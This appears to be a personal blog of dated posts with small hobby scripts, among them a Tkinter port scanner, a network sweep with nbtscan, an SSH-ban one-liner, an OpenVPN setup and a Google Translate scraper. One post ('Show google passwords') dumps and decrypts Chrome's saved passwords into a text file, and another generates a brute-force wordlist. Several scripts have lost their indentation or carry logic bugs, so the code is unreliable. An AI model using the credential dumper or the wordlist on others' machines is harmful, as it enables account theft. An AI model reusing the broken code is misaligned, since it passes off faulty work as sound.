12.10.2016 г.

Google Translate

# -*- coding: utf-8 -*-
import requests #For get url source code
from bs4 import BeautifulSoup as bs # For search to answer
from Tkinter import * #For tkinter

def translate(Entry, Ask_Lang, Ret_Lang):
    """Return result from google, first configure for what lang to be check"""
    url = 'http://translate.google.com/?sl={}&tl={}&text='.format(Ask_Lang, Ret_Lang)
    q = '+{}'.format(Entry.encode("utf-8"))
    full_url = '{}{}'.format(url, q)
    soup = bs(requests.get(full_url).content, 'lxml')
    result = soup.find('div', {'id': 'gt-res-content'}).find('span',
                        {'id': 'result_box'}).text
    return result.encode("utf-8")


def test():
    Entry = E.get()
    if v.get() == 1:
        Ask_Lang = 'bg'
        Ret_Lang = 'en'
    else:
        Ask_Lang = 'en'
        Ret_Lang = 'bg'
    Translate_Entry = translate(Entry, Ask_Lang, Ret_Lang)
    E_Result.insert(END, Translate_Entry)


def _enter(event):
"""Key Bind to function"""
    test()



#Tkinter configure is here
root = Tk()
root.title("Google translate")
root.geometry("290x75+100+50")
root.bind('<Return>', _enter )
#First label
L = Label(root, text="Enter some word")
L.grid(row=0)
#Entry Label
E = Entry(root)
E.focus()
E.grid(row=0, column=1)
#Second Label
L_Result = Label(root, text="The result")
L_Result.grid(row=1, column=0, sticky=NW)
#Button
Translate = Button(root, text="Translate", command=test, bg='lightgreen', padx=2, pady=2, relief=RAISED)
Translate.grid(row=2,column=0, sticky=W)
#Check Box
v = IntVar()
Check_Box = Checkbutton( root, text="BG", variable= v, offvalue = 0, onvalue= 1 )
Check_Box.grid(row=0, column=2)
#View result is here
E_Result = Entry(root)
E_Result.grid(row=1, column=1)


if __name__ == "__main__":
    root.mainloop()

17.09.2016 г.

Python scan for open port Tkinter

       

#####IMPORT SOME MODULE'S#####
from Tkinter import *
import socket, sys, time
from datetime import datetime
from threading import *

name = socket.gethostname()
name_pr = socket.gethostbyname(name)
firstclick = True

def on_entry_click(event):
    """function that gets called whenever enter_1 is clicked"""        
    global firstclick

    if firstclick: # if this is the first time they clicked it
        firstclick = False
        enter_2.delete(0, "end") # delete all the text in the entry

#####GET HOST NAME AND PORT#####
class Scan_for_port:#####
    def __init__(self, host, port):
        self.host = host    #HOSTNAME
        self.port = port    #PORTS COLECT

    def rep(self):
        #RETURN LIST WIT INCLUDE HOSTNAME AND PORT OR PORT'S
        return [self.host, self.port]


#####CALLBACK FOR BUTTON IS HERE#####
def callback():
    data1 = enter_1.get()   #GET HOSTNAME
    date2 = enter_2.get()    #GET PORTS
    if len(date2.split(",")) > 1: #IF USER USE COMMA FOR SEPARATE FOR PORTS
        total_info = [str(data1), [int(i) for i in date2.split(",")]]
    elif len(date2.split("-")) > 1: #IF USER USE - FOR SEPARATE FOR PORTS 
        total_info = [str(data1), [int(i) for i in (range(int(date2.split("-")[0]),\
(int(date2.split("-")[-1])+1)))]]
    else:     #IF USER WRITE ONLY ONE PORT
        total_info = [str(data1), [int(date2)]]
 
    total_info_result = Scan_for_port(total_info[0], total_info[1])
    return total_info_result.rep()


#####SOCKET CONFIG IS HERE#####
def scan(host, ports):
    lock_object = Semaphore(value=1)
    t1 = datetime.now()
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host,ports))
        s.send("Hello\r\n")
        result = s.recv(100)
        lock_object.acquire()
        mylist.insert(END, "[+]{port} is open {result}".format(port=ports,\
        result=str(result)))
        mylist.see(END)
        mylist.update()
    except:
        lock_object.acquire()
    finally:
        lock_object.acquire()
        s.close()
 
def main():
    t1 = datetime.now()
    host, ports = callback()
    for port in ports:
        socket.setdefaulttimeout(1)
        t = Thread(target=scan, args=(host, int(port)))
        t.start()



#####TKINTER CONFIGURATIONS IS HERE#####
root = Tk()
root.title("CHECK OPEN PORT'S")
root.geometry("280x350+100+100")
root.resizable(0,0)   #DISABLE RESIZE FOR WINDOWS!!!
root.config(bg="#000000")

button1 = Button(root,text="RUN", padx=5, pady=5, command=main)
button1.config(bg="#D2691E", fg="#000000")
button1.config(font=('times', 10, 'underline italic'))
button1.config(bd=4, relief=RAISED)
button1.grid(row=1, column=3,rowspan=2, sticky=NE)

label = Label(root, text="Ente host ip ",bg="#000000", fg="#D2691E")
label.config(font='times')
label.grid(row=1,column=1, sticky=NW, padx=2)

enter_1 = Entry(root, bg='white', fg="black")
enter_1.insert(0, name_pr)
enter_1.focus()
enter_1.grid(row=1,column=2, sticky=N)

label2 = Label(root, text="Enter port's ",bg="#000000", fg="#D2691E")
label2.config(font='times')
label2.grid(row=2,column=1, sticky=NW, padx=2)
enter_2 = Entry(root, bg='white', fg="black")
enter_2.insert(0, "use 1,2 or 1-2 for range")
enter_2.bind('', on_entry_click)
enter_2.grid(row=2,column=2, sticky=N)


mylist = Listbox(root,bg="#000000",fg="#D2691E")
mylist.grid(row=3,column=1, columnspan=4 , rowspan=4, ipadx=80, ipady=100)



if __name__ == '__main__':
    root.mainloop()

       
 

12.09.2016 г.

Show image, with options to resize it.

 #IMPORT SOME MODULE NEED pip install pillow  
 #if not esists  
 import os, sys, Tkinter  
 from PIL import Image, ImageTk  
 #FIRST GLOBAL PARAM TO PATH  
 #USES Pictures folder of user that run script  
 PIC = os.path.expanduser('~')+"\Pictures"  
 #CALCULATE RESULT IS HERE  
 list_with_pic = []  
 old_label_image = None  
 #FUNCTION CLOSE PICTURE WHEN PUSH LEFT MOUSE BOTTON  
 def button_click_exit_mainloop (event):  
   """FUNCTION CLOSE PICTURE WHEN PUSH LEFT MOUSE BOTTON"""  
   event.widget.quit() # this will cause mainloop to unblock.  
 #THIS SEARCH FOR PICTURES IN PIC FOLDER  
 #RETURN ABSOLUTE PATH  
 def search_picture(PATH):  
   """THIS SEARCH FOR PICTURES IN PIC FOLDER / RETURN ABSOLUTE PATH"""  
   for root_p, dirname, filename in os.walk(PATH):  
     for file in filename:  
       if file.endswith(("jpg","png")):  
         yield os.path.join(root_p, file)  
 #RETURN RESULT SPARES MEMORY  
 def return_orig():  
   """RETURN RESULT SPARES MEMORY"""  
   for result in search_picture(PIC):  
     yield result  
 #SHOW PICTURES USE TKINTER TO VISUALIZE  
 def show_pic():  
   """SHOW PICTURES USE TKINTER TO VISUALIZE"""  
   len_of_pictures = [] #CALCULATE RESULT  
   for m in return_orig():  
     len_of_pictures.append(m)  
   print ""  
   #PRINT TOTAL LEN OF FOUND PICTURE'S  
   print "The total len of pictures is {}".format(len(len_of_pictures))  
   print ""  
   #ASK TO OPEN PICTURE FOR VIEW OR NOT, TKINTER CLOSE WHEN HIT N/n or somthing else  
   ask = raw_input("Do you want to open all image's : Y or N _\b" )  
   if ask == 'Y' or ask == 'y':  
     root = Tkinter.Tk()  
     root.bind("<Button>", button_click_exit_mainloop)  
     root.geometry('+%d+%d' % (200,200))  
     for root_d, dirname, filename in os.walk(PIC):  
         for file in filename:  
           if file.endswith(("jpg","png")):  
             list_with_pic.append(os.path.join(root_d, file))  
     for result in list_with_pic:  
       #OPEN IMAGE  
       image1 = Image.open(result)  
       #ORIGINAL GEOMETRY IS HERE TAKE FROM IMAGE  
       root.geometry('%dx%d' % (image1.size[0],image1.size[1]))  
       tk_pik = ImageTk.PhotoImage(image1)  
       #LABEL IS HERE SHOW IN TOP OF THE TKINTER CANVAS  
       label_image = Tkinter.Label(root, image=tk_pik)  
       #PLACE TO POSITION  
       label_image.place(x=0,y=0,width=image1.size[0],height=image1.size[1])  
       root.title(result)  
       if old_label_image is not None:  
         old_label_image.destroy()  
       odl_lavel_image = label_image  
       root.mainloop()  
   #IF ASK IS N/n exit from program  
   elif ask == 'N' or ask == 'n':  
     print "Refused by the user"  
     sys.exit()  
   else:  
     sys.exit()  
 #THIS USE TO RESIZE A PICTURE'S  
 def resize_pic():  
   """THIS USE TO RESIZE A PICTURE'S"""  
   if os.path.exists(PIC):  
     TUMBNAILS = "thumbnail"  
     if os.path.exists(PIC+'\\'+TUMBNAILS):  
       TUMBNAILS = PIC+'\\'+TUMBNAILS  
     else:  
       os.makedirs(PIC+'/'+TUMBNAILS)  
       TUMBNAILS = PIC+'\\'+TUMBNAILS  
   #ASK TO USER PUSH WIDTH AND HEIGHT OF THUMBNAIL  
   width = raw_input("Enter width :")  
   height = raw_input("Enter height :")  
   for result in return_orig():  
     image = Image.open(result)  
     image = image.resize((int(width), int(height)), Image.ANTIALIAS)  
     image.save(TUMBNAILS+'\\'+result.split('\\')[-1], 'jpeg', quality=90)  
 def ask_for_what():  
   print "-------------------------------------------"  
   print "1 - For list pictures with original size -"  
   print "2 - Corect pictures to tumbnails     -"  
   print "-------------------------------------------"  
   answer = raw_input('Choice whant you want :')  
   print ""  
   print "You choice {answer}".format(answer=answer)  
   if answer == '1':  
     show_pic()  
   elif answer == '2':  
     resize_pic()  
   else:  
     "???"  
 if __name__ == "__main__":  
   print "Default path is {path}".format(path=PIC)  
   print ""  
   PIC = raw_input("Enter for Default or write absolute path to pictures :")  
   if PIC == "":  
     PIC = os.path.expanduser('~')+"\Pictures"  
   else:  
     PIC = PIC  
   ask_for_what()  

3.09.2016 г.

Show google passwords

# -*- coding: utf-8 -*-
#IMPORT SOME MODULE'S
import sqlite3
import win32crypt
import os
from collections import defaultdict
import pprint

#GLOBAL PARAM'S
GOOGLE_FILE = "Login Data"
GOOGLE_PATH = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"
STORE_RESULT = defaultdict(list)

#STORE PATH FOR "SEARCH_FOR_FILE" FUNCTION
Files = []

#FILE WHERE DRAW RESULT
OUTPUT_FILE = "RESULT.txt"

#SEARCH FOR GLOBAL PARAM IN PATH
def search_for_file():
  for root, dirname, filename in os.walk(GOOGLE_PATH):
for file in filename:
if GOOGLE_FILE == file:
Files.append(os.path.join(root, file))

def sqlite_connect(Files):
  for found in Files:
c = sqlite3.connect(found)
cursor = c.cursor()
select_statement = "SELECT origin_url, username_value, password_value FROM logins"
result = cursor.execute(select_statement)
main_res = result.fetchall()
for url, name, password in main_res:
username_and_pass = []
pwd = win32crypt.CryptUnprotectData(password, None, None, None, 0)
username_and_pass.append(tuple((name, pwd[1])))
STORE_RESULT[url] = username_and_pass


if __name__ == "__main__":
  search_for_file()
sqlite_connect(Files)
with open(OUTPUT_FILE, 'w') as f:
for i, v in STORE_RESULT.items():
f.write(i)
f.write(str(v).encode("utf-8"))
f.write("\n")
pprint.pprint(dict(STORE_RESULT))

26.08.2016 г.

Ping mashine with nbtscan

#!/bin/bash
#WORK ON DEBIAN BASE SYSTEM!
#CHECK USER IS ROOT OR NOT
if [ $UID -ne 0 ];then
        echo "Must run with root privileg!!!"
        exit
fi

#GET NETWORK INTERFACE
network=$(ifconfig | sed '1!d' | cut -d" " -f1)

#CHECK NETWORK INTERFACE IS ADD TO PARAM IN SCRIPT
if [ "$#" -ne 1 ];then
echo "Usage - ./ping.sh $network"
exit
fi

#CHECK NBTSCANEXISTS OR NOT
test `which nbtscan` || \
echo -e "Error nbtscan not exists\nTry to install!!!" `apt-get install nbtscan` >> /dev/null

interface=$1
echo "The interface is $interface"

prefix=$(ifconfig $interface | grep "inet addr" | cut -d ":" -f2 | cut -d " " -f1 | cut -d"." -f1-3)
echo "------------------------------------------------------------"
for addr in $(seq 1 254);do
nbtscan $prefix.$addr | grep -E "server" | awk -F" " '{printf "%-15s %-20s %s\n", $1,$2,$NF}' &
done


22.08.2016 г.

Ban all IPs that attempted to access to ssh without success

grep sshd /var/log/auth.log  | \
grep -Eo 'rhost=([1-2]?[0-9]{0,2}\.){3,3}[1-2]?[0-9]{0,2}' | \
awk -F"=" '{print $2}' | sort | uniq -c |sort -k2nr | \
awk '$1>3 {print $2}' |\
xargs -I% sudo iptables -A INPUT -s % -j DROP



Serch for duplicated file's (!!!Not Erased only show!!!)


##################################################
# Search for duplicated files without,                                    #
# meaningless file exstension                                                 #
# NOT EDIT BY HAND!!! ONLY Dir Param #
##################################################
#IMPORT MODULES FOR SCRIPT
import hashlib, os
from itertools import *
from operator import itemgetter
#THIS USE FOR GIVE MD5 FOR FILE'S
md = hashlib.md5()

#Directory = os.getcwd()
#ADD NEEDED LIST
Dir = "C:\\script\\"
_File = []   #CONTAINED PATH FOR FILE
_File_H = [] #CONTAINED MD5 CODE FOR FILE
_duplicated = [] #CONTAINED DUPLIATED
_duplicated_sravnqva = [] #NEED FOR ZIP
subdirlist = [] #MAY DELETED IF YOU WON USED FOR FUNCTION search_file

#SEARCH WITH OS.WALK
def search_os_walk(Dir):
    for path,dirlist,filelist in os.walk(Dir):
        for fn in filelist:
          try:
        yield os.path.join(path,fn)
        except IOError, e:
    print "Not allowed", e


#FUNCTION USE FOR ENCRIPT FILE TO MD5
def md_5(filePath):
  try:
       with open(filePath, 'rb') as fh:
           m = hashlib.md5()
           while True:
        try:
                  data = fh.read(8192)
                  if not data:
                      break
                  m.update(data)
              except IOError, e:
        print "Not allowerd Basi", e
          return m.hexdigest()
    except IOError, e:
print "Not allowerd", e


#SEARCH FOR FILE AND APPEND THEM TO REQUIRED LIST (LOOKED ABOVE FOR #DESCRIPTION'S )

for file in search_os_walk(Dir):
_File.append(file)
_File_H.append(md_5(file))


for f,z in (izip(_File, _File_H)):
  if z in _duplicated:
_duplicated_sravnqva.append(z)
_duplicated.append(z)


print "*"*80
_Dupliated =  [x[0] for x in zip(_File, _File_H) if x[1] in _duplicated_sravnqva]
one= []
two= []
for i in _Dupliated:
  one.append(i)
two.append(md_5(i))

#RESULT IN DICTIONARI, NEEDED FOR FUNCTION GROUPBY
d = dict(zip(one,two))

di = sorted(d.iteritems(), key=itemgetter(1))
for k, g in groupby(di, key=itemgetter(1)):
#IF YOU WHANT TO SHOW IN COLUMN UNCHECK BOTTOM ROW'S
     # for i,z  in enumerate(map(itemgetter(0), g)):
         # print i,z
     print "Duplicated ", map(itemgetter(0), g)

#raw_input()

14.08.2016 г.

Python generate file with password

       

# -*- coding:utf-8 -*-

#IMPORT MODULE
import itertools
from itertools import islice

#FILE TO WRITE RESULT
File = "password_list.txt"


#FUNCTION GENERATE PASSWORD WORD'S
def generate():
    for z in xrange(3,9):
        res = itertools.product('abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@', repeat=z)
        for i in res:
            r = "".join(i)
            yield r

#WRITE WORD IN FILE
with open(File, 'w') as f:
    for s in generate():
        f.write("{}\n".format(s))


#IF YOU WANT TO READ A FILE SECOND FUNCTION DO THIS
#UNCOMENT ROW FOR WORK WITH!

# with open(File, 'r') as f:
#     while True:
#         next_line = list(islice(f, 1000))
#         if not next_line:
#             break
#         for line in next_line:
#             print line.strip()

       
 

12.08.2016 г.

Тест дали има пинг до масхина и изпращане на email при падане.

       

# -*- coding: utf-8 -*-

#IMPORT SOMTHING MODULES########################  
import os, subprocess, time                   ##
from sys import platform                      ##
import smtplib                                ##
################################################  


#HARDCORE CONST'S#########################################
PING=''                                                 ##
TARGET = '192.168.1.9'                                  ##
MASHINE = ' '                                           ## 
TAKE_STATUS = []                                        ##
TIME_TO_SLEEP = time.sleep(10)                          ##
sender = 'email address'                                ##
receivers = ['korea60@abv']                             ## 
message = """From: From Server - name 
To: To Person         
Subject: IP is down in {}
""".format(time.asctime(time.localtime(time.time())))
##########################################################

#DEFINE FUNCTION'S IS HERE

#1 TEST MASHINE VERSION
def check_mashine():
    global MASHINE
    global PING
    if platform.startswith('lin'):
        MASHINE = ' -c1'
        PING='/bin/ping'
    else:
        MASHINE = ' -n1'
        PING='ping'

#2 PING TARGET MASHINE AND COLLECT STATUS
def check_ping():
    global TAKE_STATUS
    check_mashine()
    RESPONSE = os.system("{}{} {} > /dev/null".format(PING,MASHINE,TARGET))
    if RESPONSE:
        TAKE_STATUS.append("1")
    else:
        pass


#3 SEND EMAIL
def send_emain():
    mailserver = smtplib.SMTP('smtp.gmail.com:587')
    # Identifikaciq
    mailserver.ehlo()
    # secure our email
    mailserver.starttls()
    # re-identify ourselves as an encrypted connection
    mailserver.ehlo()
    mailserver.login('username is here!!!!', 'password is here !!!!')
    mailserver.sendmail('from','to',message)
    #ZATVARQME SYRVARA
    mailserver.quit()

   

#TAKE THE MAGIC!!!
if __name__ == '__main__':
    while len(TAKE_STATUS) < 5:
        check_ping()
        TIME_TO_SLEEP
        send_emain()
    print ("MAIL SEND")



       
 

9.08.2016 г.

VNC auto start

1 . x11vnc -auth /tmp/.Xauth1000 -forever -rfbauth /home/folder/x11vnc.pass -rfbport 5900

2 . x11vnc -nap -wait 5 -noxdamage -pasword "password" -display :0  -forever

3.08.2016 г.

8.05.2016 г.

Openvpn Server on Debian.

apt-get update
apt-get install openvpn easy-rsa
gunzip -c /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz > /etc/openvpn/server.conf

vim /etc/openvpn/server.conf
uncoment:
#    dh dh1024.pem
#    push "redirect-gateway def1 bypass-dhcp"
#    push "dhcp-option DNS 208.67.222.222"
#    push "dhcp-option DNS 208.67.220.220"
#    user nobody
#    group nogroup

echo 1 > /proc/sys/net/ipv4/ip_forward

vim /etc/sysctl.conf
uncoment:
#    net.ipv4.ip_forward=1


cp -r /usr/share/easy-rsa/ /etc/openvpn
mkdir /etc/openvpn/easy-rsa/keys

vim /etc/openvpn/easy-rsa/vars

#export KEY_COUNTRY="BG"
#export KEY_PROVINCE="bg"
#export KEY_CITY="Velingrad"
#export KEY_ORG="Home"
#export KEY_EMAIL="email60@abv.bg"
#export KEY_OU="MYOrganizationalUnit"
#export KEY_NAME="server"

openssl dhparam -out /etc/openvpn/dh2048.pem 2048

cd /etc/openvpn/easy-rsa

. ./vars

./clean-all

./build-ca

./build-key-server server

cp /etc/openvpn/easy-rsa/keys/{server.crt,server.key,ca.crt} /etc/openvpn
service openvpn start

./build-key client1
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/easy-rsa/keys/client.ovpn


#Configuration with script


#!/bin/bash
apt-get update &&
apt-get -y upgrade &&
apt-get -y install openvpn easy-rsa &&
gunzip -c /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz \
> /etc/openvpn/server.conf &&
cd /etc/openvpn/ &&
sed -i.bak -e 's/dh dh1024.pem/dh dh2048.pem/' -e \
's/;push "redirect-gateway def1 bypass-dhcp"/push "redirect-gateway def1 bypass-dhcp"/' -e \
's/;push "dhcp-option DNS 208.67.222.222"/push "dhcp-option DNS 208.67.222.222"/' -e \
's/;push "dhcp-option DNS 208.67.220.220"/push "dhcp-option DNS 208.67.220.220"/' -e \
's/;user nobody/user-nobody/' -e \
's/;group nogroup/group nogroup/' server.conf &&
echo 1 > /proc/sys/net/ipv4/ip_forward &&
sed -i.bak 's/#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/' /etc/sysctl.conf &&
cp -r /usr/share/easy-rsa/ /etc/openvpn &&
mkdir -p /etc/openvpn/easy-rsa/keys &&
cd /etc/openvpn/easy-rsa &&
sed -i.bak 's/export KEY_NAME="EasyRSA"/export KEY_NAME="server"/' vars &&
openssl dhparam -out /etc/openvpn/dh2048.pem 2048 &&
cd /etc/openvpn/easy-rsa &&
. ./vars &&
./clean-all &&
./build-ca &&
./build-key-server server &&
cp /etc/openvpn/easy-rsa/keys/{server.crt,server.key,ca.crt} /etc/openvpn &&
service openvpn start &&
./build-key client1 &&
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/easy-rsa/keys/client.ovpn










client.ovpn се редактира с името на сървара






















23.03.2016 г.

Make static arp with bash

#!/bin/bash

start=$1
end=$2
ar=/usr/bin/arping
arp=/usr/sbin/arp
echo "Start is $start and end is $end"
echo
start_end=${start##*.}
end_end=${end##*.}

for i in $(seq $start_end $end_end);do   
    $arp -s `$ar -I eth0 ${start%.*}.$i -c 1 |\
    grep "Unicast" | awk -F" " '{print $4," ",$5}' |\
    sed -e 's/\[//' -e 's/\]//'`
done

20.02.2016 г.

Remove empty space's from name of file

#!/bin/bash



DIRECTORY=/home/test


find $DIRECTORY -name "* *"|while read fname;do
new_name=`echo $fname | tr " " "_"`
if [ -e $new_name ];then
echo "Exists"
else
mv "$fname" $new_name
fi
done